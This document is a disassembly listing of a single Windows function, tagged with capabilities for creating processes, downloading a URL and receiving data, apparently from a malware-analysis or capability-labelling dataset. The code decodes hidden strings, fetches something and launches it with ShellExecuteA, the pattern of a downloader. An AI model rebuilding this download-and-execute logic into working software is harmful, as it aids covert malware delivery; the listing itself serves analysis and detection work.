Function at 0x14001127b
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x140013740
push r13
push rbp
push rdi
sub rsp, 0x760
lea r13, [rsp + 0x30]
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
lea rcx, [0x1400260b4]
call fcn.140011389
lea rax, [rbp + 0x3b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x3f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x3b4]
movzx r8d, byte [rbp + 0x3d4]
movzx edx, byte [rbp + 0x3f4]
lea rcx, [rbp + 0x2e0]
call fcn.1400117f0
mov rcx, rax
call fcn.1400113fc
mov qword [rbp + 8], rax
lea rax, [rbp + 0x454]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x474]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x494]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x454]
movzx r8d, byte [rbp + 0x474]
movzx edx, byte [rbp + 0x494]
lea rcx, [rbp + 0x420]
call fcn.140011b70
mov rcx, rax
call fcn.14001140b
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x4f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x514]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x534]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x4f4]
movzx r8d, byte [rbp + 0x514]
movzx edx, byte [rbp + 0x534]
lea rcx, [rbp + 0x4c0]
call fcn.140011c40
mov rcx, rax
call fcn.14001140b
mov qword [rbp + 0x48], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 8]
xor ecx, ecx
call fcn.1400110f0
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jl 0x140013951
lea rax, [rbp + 0x584]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x5c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x584]
movzx r8d, byte [rbp + 0x5a4]
movzx edx, byte [rbp + 0x5c4]
lea rcx, [rbp + 0x560]
call fcn.140011d10
mov rcx, rax
call fcn.1400113f7
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x48]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x140013a43
lea rax, [rbp + 0x614]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x634]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x654]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x614]
movzx r8d, byte [rbp + 0x634]
movzx edx, byte [rbp + 0x654]
lea rcx, [rbp + 0x5f0]
call fcn.140011e30
mov rcx, rax
call fcn.140011406
mov qword [rbp + 0x6f8], rax
lea rax, [rbp + 0x6a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x6c4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x6e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x6a4]
movzx r8d, byte [rbp + 0x6c4]
movzx edx, byte [rbp + 0x6e4]
lea rcx, [rbp + 0x680]
call fcn.140011da0
mov rcx, rax
call fcn.140011401
mov qword [rbp + 0x700], rax
mov r9d, 0x10
mov r8, qword [rbp + 0x6f8]
mov rdx, qword [rbp + 0x700]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
lea rsp, [r13 + 0x730]
pop rdi
pop rbp
pop r13
ret